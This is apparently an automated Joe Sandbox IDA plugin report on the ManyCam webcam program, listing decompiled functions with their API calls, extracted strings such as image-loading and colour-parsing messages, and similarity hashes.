Success., xrefs: 00473A16

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeapswscanf$Base::Concurrency::details::ContextIdentityQueueWork
String ID: Error parsing color field: one of color components is not specified$Error parsing color field: one of color components is not specified$Error parsing color field: one of color components is not specified$Error parsing color field: unexpected symbols '%s'.$Error parsing color field: wrong number of symbols after '#'$Success.$Unspecified error.$rgb(
API String ID: 1122337173-231897244
Opcode ID: 683619098a5f14be788e1fbab1df8c809ac1bea4690c2859a926c6c666e65a2e
Instruction ID: 514317ef524717ef2c7c16df4d54ca1b957cd51d0b51933f763c983e9b3e5875
Opcode Fuzzy Hash: 683619098a5f14be788e1fbab1df8c809ac1bea4690c2859a926c6c666e65a2e
Instruction Fuzzy Hash: 64D16F71901208EEDB04EBA5DC56BEEBB74AF10304F50816EF41AA72D1DB786B48CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0042E4D0 Relevance: 26.5, APIs: 6, Strings: 9, Instructions: 253memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042F320: SendMessageW.USER32(74C45DAF,0000101E,00000000,74C45DAF), ref: 0042F342

Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB6AA
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB711
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB76F
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB787

_DebugHeapAllocator.LIBCPMTD ref: 0042E628

Part of subcall function 0040EA00: _DebugHeapAllocator.LIBCPMTD ref: 0040EA0E

_DebugHeapAllocator.LIBCPMTD ref: 0042E637
_DebugHeapAllocator.LIBCPMTD ref: 0042E647
memset.MSVCR80 ref: 0042E75B

Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EE68
Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EEAA

_DebugHeapAllocator.LIBCPMTD ref: 0042E6A0
?Load@CxImage@@QAE_NPB_WK@Z.CXIMAGECRT(00000000,00000000,.png,?,?,tyTdyT,00547960,?,data\images\,?,?,?,00000003,00000072,00000002,00000072), ref: 0042E6C9

Part of subcall function 00407D70: SendMessageW.USER32(?,00000432,00000000,00000000), ref: 00407DAB

Part of subcall function 00424C20: SendMessageW.USER32(?,00000418,00000000,?), ref: 00424C38

Strings

Col1, xrefs: 0042E52F
tyTdyT, xrefs: 0042E676, 0042E67D
Tahoma, xrefs: 0042E72E
dyT, xrefs: 0042E5E5
data\images\, xrefs: 0042E61D
Col3, xrefs: 0042E565
Col4, xrefs: 0042E580
Col2, xrefs: 0042E54A
.png, xrefs: 0042E695

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$MessageSend$Image@@Load@memset
String ID: .png$Col1$Col2$Col3$Col4$Tahoma$data\images\$dyT$tyTdyT
API String ID: 1838653368-352732241
Opcode ID: 5240a672e344888a9dcc8595a84e68314da153b494bcf22761846ef33874b4da
Instruction ID: 63107b193e0704695c5efb6fe35d957d42c89c1ca5e4e6b9e88f197d9dfb2259
Opcode Fuzzy Hash: 5240a672e344888a9dcc8595a84e68314da153b494bcf22761846ef33874b4da
Instruction Fuzzy Hash: 4AB15CB0A443589BEB24DB65CC62FAEB771BF04718F00419DE1197B2C2CBB46A44CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00506610 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 118fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0050665D
GetFileSize.KERNEL32(000000FF,00000000), ref: 0050669D
CloseHandle.KERNEL32(000000FF), ref: 005066AE

Part of subcall function 00416740: _DebugHeapAllocator.LIBCPMTD ref: 00416795

Strings

You have selected an image with the dimension larger than 3000x2000., xrefs: 0050676F
The Resource File is corrupted. Please select another., xrefs: 0050666C
You have selected a file with the size larger than 3Mb., xrefs: 005066B4
The Resource File is corrupted. Please select another., xrefs: 00506718

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: File$AllocatorCloseCreateDebugHandleHeapSize
String ID: The Resource File is corrupted. Please select another.$The Resource File is corrupted. Please select another.$You have selected a file with the size larger than 3Mb.$You have selected an image with the dimension larger than 3000x2000.
API String ID: 1278540365-1045440647
Opcode ID: a2995053e53532cd3cc61e84a4e3e243a16d3489957e33b38d496d8e3a878c98
Instruction ID: bf2e516d7632956263a6d0b7edc6ab055445a249ca0629827ad9313cad8a857e
Opcode Fuzzy Hash: a2995053e53532cd3cc61e84a4e3e243a16d3489957e33b38d496d8e3a878c98
Instruction Fuzzy Hash: 3D513C70900259ABDB25EF14DC55BEDBBB0FF45704F1085AAF819AB2D0CB75AE84CB80

Uniqueness

Uniqueness Score: -1.00%

Function 004E5580 Relevance: 24.9, APIs: 11, Strings: 3, Instructions: 371memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00438A10: clock.MSVCR80 ref: 00438AA7
Part of subcall function 00438A10: _DebugHeapAllocator.LIBCPMTD ref: 00438AC5

??2@YAPAXI@Z.MSVCR80 ref: 004E56C0
_DebugHeapAllocator.LIBCPMTD ref: 004E56E8

Part of subcall function 004D7750: _DebugHeapAllocator.LIBCPMTD ref: 004D7791

Part of subcall function 00418CB0: EnterCriticalSection.KERNEL32(xJ,00000001,?,004A78E3,?,004A7688,00000001,74C45DB3,?,?,00000000,005372A8,000000FF,?,004602DC), ref: 00418CBB

Concurrency::cancellation_token_source::~cancellation_token_source.LIBCPMTD ref: 004E5761
Concurrency::cancellation_token_source::~cancellation_token_source.LIBCPMTD ref: 004E57BA
_DebugHeapAllocator.LIBCPMTD ref: 004E57A0

Part of subcall function 00418D00: LeaveCriticalSection.KERNEL32(00000001,00000000,?,00418CE9,00000001,?,00418C7A,00417F19,?,00522EAF,?,005A2ECC,005A2ECC,?,00417F19), ref: 00418D0B

Strings

Changing source to type=%d, name=%s, xrefs: 004E5615
SetVideoSource completed with bStatus = %d., xrefs: 004E5A61
CVideoLayer::SetVideoSource (%s), xrefs: 004E55B2

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$Concurrency::cancellation_token_source::~cancellation_token_sourceCriticalSection$??2@EnterLeaveclock
String ID: CVideoLayer::SetVideoSource (%s)$Changing source to type=%d, name=%s$SetVideoSource completed with bStatus = %d.
API String ID: 940658134-2688229957
Opcode ID: ed1a128956794bde5e5230a4d138cfadb2c5c7bc89fd5ac7b4d3999619687d38
Instruction ID: dba240629de62da63940887bf9cd1e5b9116a74bbdd400ead28e10356bf54a65
Opcode Fuzzy Hash: ed1a128956794bde5e5230a4d138cfadb2c5c7bc89fd5ac7b4d3999619687d38
Instruction Fuzzy Hash: 0EF12B70E00248DFDB04DF95C8A1BEEB7B5AF48308F24816EE4196B392DB796D41CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040C220 Relevance: 24.8, APIs: 9, Strings: 5, Instructions: 308memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040FA80: List.LIBCMTD ref: 0040FA8A

_DebugHeapAllocator.LIBCPMTD ref: 0040C2DC

Part of subcall function 004DBD20: Concurrency::details::SchedulerBase::GetPolicy.LIBCMTD ref: 004DBD89

Concurrency::details::SchedulerBase::GetPolicy.LIBCMTD ref: 0040C305

Part of subcall function 004DB530: _DebugHeapAllocator.LIBCPMTD ref: 004DB54A

_DebugHeapAllocator.LIBCPMTD ref: 0040C35E
_DebugHeapAllocator.LIBCPMTD ref: 0040C371

Part of subcall function 004DAFB0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004DB014

_snwprintf.MSVCR80 ref: 0040C591
wcslen.MSVCR80 ref: 0040C59E
wcscpy.MSVCR80 ref: 0040C5CE
wcslen.MSVCR80 ref: 0040C5DB

Part of subcall function 0040F760: _invalid_parameter_noinfo.MSVCR80(00000000,?,00409D5D,?,?,00000000,?,?,?,mce,?,?,?,?,?,?), ref: 0040F774

wcscat.MSVCR80 ref: 0040C633

Strings

*.%s, xrefs: 0040C426
;*.%s, xrefs: 0040C568
;*.%s, xrefs: 0040C488
%s files (%s), xrefs: 0040C583
*.%s, xrefs: 0040C506

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$Base::Concurrency::details::$PolicySchedulerwcslen$ContextIdentityListQueueWork_invalid_parameter_noinfo_snwprintfwcscatwcscpy
String ID: %s files (%s)$*.%s$*.%s$;*.%s$;*.%s
API String ID: 3673500439-2222090975
Opcode ID: 410b57a6a7f9a888242e909b12c55668fef034fc55ece74735e624549ad644eb
Instruction ID: 0f1205feb10db953e557daecc0f66cfc6334ceda2ae244769a0a321528e6ad92
Opcode Fuzzy Hash: 410b57a6a7f9a888242e909b12c55668fef034fc55ece74735e624549ad644eb
Instruction Fuzzy Hash: 7BC12F71D00208DBDB14EBA5E892BEEB775AF54308F10417EF116B72D1DB385A48CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041A3B0 Relevance: 24.8, APIs: 6, Strings: 8, Instructions: 308memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB6AA
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB711
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB76F
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB787

_DebugHeapAllocator.LIBCPMTD ref: 0041A415

Part of subcall function 0040EA00: _DebugHeapAllocator.LIBCPMTD ref: 0040EA0E

Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EE68
Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EEAA

_DebugHeapAllocator.LIBCPMTD ref: 0041A437
_DebugHeapAllocator.LIBCPMTD ref: 0041A455
_DebugHeapAllocator.LIBCPMTD ref: 0041A47D

Part of subcall function 00472C60: _wfopen_s.MSVCR80 ref: 00472CBE
Part of subcall function 00472C60: fclose.MSVCR80 ref: 00472CDF

Part of subcall function 00416740: _DebugHeapAllocator.LIBCPMTD ref: 00416795

Part of subcall function 004730D0: _DebugHeapAllocator.LIBCPMTD ref: 0047314B
Part of subcall function 004730D0: _DebugHeapAllocator.LIBCPMTD ref: 0047316D

?Load@CxImage@@QAE_NPB_WK@Z.CXIMAGECRT(00000000,00000000,?,00000000,?,0053E990,?,?,?,?,?,\class.xml,?,?,?,data\images\), ref: 0041A530

Strings

8S, xrefs: 0041A6B6
style, xrefs: 0041A64A
P, xrefs: 0041A4A6
icon, xrefs: 0041A674
data\images\, xrefs: 0041A40D
icon_and_text, xrefs: 0041A696
\class.xml, xrefs: 0041A42F
S, xrefs: 0041A6C4

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$Image@@Load@_wfopen_sfclose
String ID: 8S$P$\class.xml$data\images\$icon$icon_and_text$style$S
API String ID: 255584289-693003568
Opcode ID: 603b225bfe0989b9d3390ef585aae42c8b49bc1da2bbc25a9b3d303a95ec7668
Instruction ID: 810976337b1479ad00da3f975604671f65968c870661c51cbc195e462080606e
Opcode Fuzzy Hash: 603b225bfe0989b9d3390ef585aae42c8b49bc1da2bbc25a9b3d303a95ec7668
Instruction Fuzzy Hash: 4BD16EB0D012189BDB14DB95CD92BEDBBB4BF18304F10819EE14A77281DB746E85CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00401690 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 176COMMON

Download Yara Rule

APIs

cvCvtColor.CV099(?,?,00000007), ref: 004016FA
cvGetImageROI.CXCORE099(?,?), ref: 0040170E
cvSobel.CV099(?,?,00000001,00000000,00000003,?,?), ref: 00401742
cvSobel.CV099(?,?,00000000,00000001,00000003), ref: 00401758
cvGEMM.CXCORE099(?,?,?,00000000,?,00000000), ref: 004017D9
cvCopy.CXCORE099(?,?,00000000), ref: 004017F1
cvError.CXCORE099(000000FB,cvCylTrackModel,Invalid input frame.,.\src\cyltracker.cpp,000001A0), ref: 00401886
cvSetImageROI.CXCORE099(?), ref: 004018B5

Strings

Null pointer to the tracker context., xrefs: 004016BD
cvCylTrackModel, xrefs: 0040187F
Invalid input frame., xrefs: 0040187A
.\src\cyltracker.cpp, xrefs: 004016B8, 00401875

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: ImageSobel$ColorCopyError
String ID: .\src\cyltracker.cpp$Invalid input frame.$Null pointer to the tracker context.$cvCylTrackModel
API String ID: 3140367126-428952811
Opcode ID: 3ec082688a0413c58711cd9b83bdb17f3b228cbd943129101cc4b4c10cf63d8e
Instruction ID: 66ebd014f4a14a4e4a4a45a8ae43f3bc62eaeaf842471fa18c085293a8b48d64
Opcode Fuzzy Hash: 3ec082688a0413c58711cd9b83bdb17f3b228cbd943129101cc4b4c10cf63d8e
Instruction Fuzzy Hash: 5051A1B1B00601ABC608EB64DC86FA6F7A5BF89710F008229FA58573D1D774E924CBD6

Uniqueness

Uniqueness Score: -1.00%

Function 004B8420 Relevance: 23.0, APIs: 4, Strings: 9, Instructions: 284memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00438A10: clock.MSVCR80 ref: 00438AA7
Part of subcall function 00438A10: _DebugHeapAllocator.LIBCPMTD ref: 00438AC5

_DebugHeapAllocator.LIBCPMTD ref: 004B84DB
??2@YAPAXI@Z.MSVCR80 ref: 004B84E2

Part of subcall function 004B77A0: fwprintf.MSVCR80 ref: 004B7842
Part of subcall function 004B77A0: fflush.MSVCR80 ref: 004B7852

Part of subcall function 00438AF0: clock.MSVCR80 ref: 00438B1F

Strings

Failed creating graph with hr=%X; preparing to clean up., xrefs: 004B8697
AppModel pointer is NULL! Returning E_FAIL., xrefs: 004B8472
Creating frame grabbing graph for file %s, xrefs: 004B856B
Couldn't find the graph %s!, xrefs: 004B86E7
Destroying the graph., xrefs: 004B8725
CManyCamGraphMgr::CreateGraph, xrefs: 004B8448
Setting current pos for the graph %s, xrefs: 004B8616
Setting graph state %d, xrefs: 004B8655
Creating frame grabbing graph for camera %s, xrefs: 004B84C0

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeapclock$??2@fflushfwprintf
String ID: AppModel pointer is NULL! Returning E_FAIL.$CManyCamGraphMgr::CreateGraph$Couldn't find the graph %s!$Creating frame grabbing graph for camera %s$Creating frame grabbing graph for file %s$Destroying the graph.$Failed creating graph with hr=%X; preparing to clean up.$Setting current pos for the graph %s$Setting graph state %d
API String ID: 1778695617-1153812090
Opcode ID: f1e7f66eff02cda7a9ed3db3bcb49d45f39b49662cdf193da7ba6901c3f1654f
Instruction ID: f3cb85e83180b36cfd0b303413b5ba2857901d6173e86f69feec068597868732
Opcode Fuzzy Hash: f1e7f66eff02cda7a9ed3db3bcb49d45f39b49662cdf193da7ba6901c3f1654f
Instruction Fuzzy Hash: FBC11B75D00209AFDB04DF99CC92BEEB7B4AF48308F14411EF5167B292DB786A05CB69

Uniqueness

Uniqueness Score: -1.00%

Function 005062D0 Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 206memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 00506312
_DebugHeapAllocator.LIBCPMTD ref: 00506336
_DebugHeapAllocator.LIBCPMTD ref: 00506352
_DebugHeapAllocator.LIBCPMTD ref: 0050636E

Part of subcall function 004CB0F0: _DebugHeapAllocator.LIBCPMTD ref: 004CB139
Part of subcall function 004CB0F0: _DebugHeapAllocator.LIBCPMTD ref: 004CB155
Part of subcall function 004CB0F0: _DebugHeapAllocator.LIBCPMTD ref: 004CB171
Part of subcall function 004CB0F0: _DebugHeapAllocator.LIBCPMTD ref: 004CB1A3
Part of subcall function 004CB0F0: _DebugHeapAllocator.LIBCPMTD ref: 004CB1D6

??0CxImage@@QAE@K@Z.CXIMAGECRT(00000000,000000FF,?,?,?,?,?,?,?,?,?,00000000,?,00000002,74C45DB3), ref: 005063A1
??0CxImage@@QAE@K@Z.CXIMAGECRT(00000000,00000000,000000FF,?,?,?,?,?,?,?,?,?,00000000,?,00000002,74C45DB3), ref: 005063B5

Part of subcall function 00416740: _DebugHeapAllocator.LIBCPMTD ref: 00416795

Part of subcall function 0050E4A0: _DebugHeapAllocator.LIBCPMTD ref: 0050E4E3
Part of subcall function 0050E4A0: _DebugHeapAllocator.LIBCPMTD ref: 0050E4FF

memcpy.MSVCR80(?,?,?,74C45DB3), ref: 0050646C
??3@YAXPAX@Z.MSVCR80 ref: 0050652C
??3@YAXPAX@Z.MSVCR80 ref: 0050653E

Strings

mask_type, xrefs: 00506483
anonymous_type, xrefs: 005064F1
properties, xrefs: 005063F3
mask_reader_ver, xrefs: 005064BA

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$??3@Image@@$memcpy
String ID: anonymous_type$mask_reader_ver$mask_type$properties
API String ID: 3418783136-1683271502
Opcode ID: ea6c7d0e71fb220edab34224d6aa0e07e57cb9ccd2759369dc2a5b15c5864e21
Instruction ID: 830ff7d4bb77275050dcf287e18c53aa9cee5c96830a24d37f20f8f55580aab9
Opcode Fuzzy Hash: ea6c7d0e71fb220edab34224d6aa0e07e57cb9ccd2759369dc2a5b15c5864e21
Instruction Fuzzy Hash: 8891F7B1E002489FDB04DFA8D896BEEBBB5BF88304F10816DE419A7381DB345A45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00514480 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(74C45DB3,000000FF,?,005125AA,?,?,?,00000000,?,?,?,?,?,00569F04,preview.jpg,00000000), ref: 005144AB
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(74C45DB3,000000FF,?,005125AA,?,?,?,00000000,?,?,?,?,?,00569F04,preview.jpg,00000000), ref: 005144B6
?Resample@CxImage@@QAE_NJJHPAV1@@Z.CXIMAGECRT(00000160,00000000,00000001,00000000,?,?,?,00000160,00000120,00000001,74C45DB3,000000FF,?,005125AA,?,?), ref: 00514559
?IncreaseBpp@CxImage@@QAE_NK@Z.CXIMAGECRT(00000018,00000160,00000000,00000001,00000000,?,?,?,00000160,00000120,00000001,74C45DB3,000000FF,?,005125AA,?), ref: 00514563
?AlphaCreate@CxImage@@QAE_NXZ.CXIMAGECRT(00000018,00000160,00000000,00000001,00000000,?,?,?,00000160,00000120,00000001,74C45DB3,000000FF,?,005125AA,?), ref: 0051456B
?Save@CxImage@@QAE_NPB_WK@Z.CXIMAGECRT(00000000,00000004,00000160,00000120,00000001,74C45DB3,000000FF,?,005125AA,?,?,?,00000000,?,?,?), ref: 005145B1
_DebugHeapAllocator.LIBCPMTD ref: 005145DC
?Resample@CxImage@@QAE_NJJHPAV1@@Z.CXIMAGECRT(?,00569E8C,00000001,00000000,00000000,0056A220,00000000,00000004,00000160,00000120,00000001,74C45DB3,000000FF,?,005125AA,?), ref: 0051463E
?Save@CxImage@@QAE_NPB_WK@Z.CXIMAGECRT(00000000,00000004,?,00569E8C,00000001,00000000,00000000,0056A220,00000000,00000004,00000160,00000120,00000001,74C45DB3,000000FF), ref: 00514651

Strings

352x288, xrefs: 0051458D
%s\%d.png, xrefs: 005145F6
640x480, xrefs: 005145F1
%s\%d.png, xrefs: 00514592

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Image@@$Resample@Save@V1@@$AllocatorAlphaBpp@Create@DebugHeapHeight@IncreaseWidth@
String ID: %s\%d.png$%s\%d.png$352x288$640x480
API String ID: 2860891125-2440275166
Opcode ID: a43d91bb6eb54d53ff6a1737a5b0fe56c092a8fccabc49aed94ca0378de78455
Instruction ID: acc42daae56a842fc35e0990e2763de5810e809cf3d34599ed660b5ee8a323ea
Opcode Fuzzy Hash: a43d91bb6eb54d53ff6a1737a5b0fe56c092a8fccabc49aed94ca0378de78455
Instruction Fuzzy Hash: 5A6107B5E00209AFDB04EF99D892AEEBBB5FF88300F108529F515B7291DB746941CF94

Uniqueness

Uniqueness Score: -1.00%

Function 017867C0 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 125COMMON

Download Yara Rule

APIs

cvAttrValue.CXCORE099 ref: 017867CD
sprintf.MSVCR80 ref: 01786872

Part of subcall function 01785240: cvGetErrStatus.CXCORE099 ref: 0178525F
Part of subcall function 01785240: cvError.CXCORE099(000000FF,icvCalcElemSize,Inner function failed.,.\cxpersistence.cpp,00000BB8), ref: 0178527E

cvGetErrStatus.CXCORE099 ref: 017867E4

Part of subcall function 01736D60: malloc.MSVCR80 ref: 01736D6E

cvError.CXCORE099(000000FF,icvWriteFormat,Inner function failed.,.\cxpersistence.cpp,00001018), ref: 01786803

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

cvError.CXCORE099(FFFFFF2F,icvWriteFormat,Size of sequence element (elem_size) is inconsistent with seq->flags,.\cxpersistence.cpp,00001024), ref: 01786831

Strings

%ui, xrefs: 0178686C
Inner function failed., xrefs: 017867F7
.\cxpersistence.cpp, xrefs: 017867F2, 0178681D, 017868E6
icvWriteFormat, xrefs: 017867FC, 01786827
Size of sequence element (elem_size) is inconsistent with seq->flags, xrefs: 017868EB
%uu, xrefs: 0178688A
The size of element calculated from "dt" and the elem_size do not match, xrefs: 01786822

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
